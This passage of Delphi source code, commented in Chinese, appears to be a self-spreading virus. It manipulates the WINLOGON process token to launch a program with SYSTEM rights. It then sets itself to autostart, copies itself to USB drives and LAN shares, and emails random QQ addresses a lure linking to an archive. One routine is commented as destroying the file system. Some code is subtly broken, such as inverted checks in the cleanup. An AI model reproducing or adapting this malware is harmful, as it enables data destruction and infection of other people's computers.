pSidOwner := HeapAlloc(GetProcessHeap(), $00000008, dwSidOwnLen);
pSidPrimary := HeapAlloc(GetProcessHeap(), $00000008, dwSidPrimLen);
pNewSd := HeapAlloc(GetProcessHeap(), $00000008, dwSDLen);
if (pOldDAcl = nil) or (pSacl = nil) or (pSidOwner = nil) or (pSidPrimary = nil) or (pNewSd = nil) then
begin
bError := TRUE;
goto Cleanup;
end;
if not MakeAbsoluteSD(pOrigSd, pNewSd, dwSDLen, pOldDAcl^, dwAclSize, pSacl^, dwSaclSize, pSidOwner, dwSidOwnLen, pSidPrimary, dwSidPrimLen) then
begin
bError := TRUE;
goto Cleanup;
end;
end
else
begin
bError := TRUE;
goto Cleanup;
end;
end;
if not SetSecurityDescriptorDacl(pNewSd, bDAcl, pNewDAcl, bDefDAcl) then
begin
bError := TRUE;
goto Cleanup;
end;
// 将新的安全描述符加到 TOKEN 中
if not SetKernelObjectSecurity(hToken, DACL_SECURITY_INFORMATION, pNewSd) then
begin
bError := TRUE;
goto Cleanup;
end;
// 再次打开 WINLOGON 进程的 TOKEN，这时已经具有所有访问权限
if not OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, hToken) then
begin
bError := TRUE;
goto Cleanup;
end;
// 复制一份具有相同访问权限的 TOKEN
if not DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, nil, SecurityImpersonation, TokenPrimary, hNewToken) then
begin
bError := TRUE;
goto Cleanup;
end;
ZeroMemory(@si, Sizeof(STARTUPINFO));
si.cb := Sizeof(STARTUPINFO);
ImpersonateLoggedOnUser(hNewToken);
if not CreateProcessAsUser(hNewToken, nil, szProcessName, nil, nil, FALSE, 0, nil, nil, si, pi) then
begin
bError := TRUE;
goto Cleanup;
end;
bError := FALSE;
Cleanup:
if pOrigSd = nil then HeapFree(GetProcessHeap(), 0, pOrigSd);
if pNewSd = nil then HeapFree(GetProcessHeap(), 0, pNewSd);
if pSidPrimary = nil then HeapFree(GetProcessHeap(), 0, pSidPrimary);
if pSidOwner = nil then HeapFree(GetProcessHeap(), 0, pSidOwner);
if pSacl = nil then HeapFree(GetProcessHeap(), 0, pSacl);
if pOldDAcl = nil then HeapFree(GetProcessHeap(), 0, pOldDAcl);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(hToken);
CloseHandle(hNewToken);
CloseHandle(hProcess);
if bError then Result := FALSE else Result := True;
end;
begin
ifso; //病毒自动启动
copyfilecopyfile; //U盘传播病毒
SendMail('smtp.126.com','hgt,'123','hgt@126.com',QQnum+'@qq.com','送你一朵玫瑰花','我爱你们','http://www.google.com/love.rar'); //生成

随机QQ使用QQ邮箱传播病毒
RunNetShare; //使用局域网共享传播病毒
SearchDisk; //破坏文件系统 //对很多文件具有致命的杀伤力
CreateSystemProcess(pchar(extractfilepath(paramstr(0)) + 'love.exe'));

end.

可以随意转载,但请勿用于非法用途！！！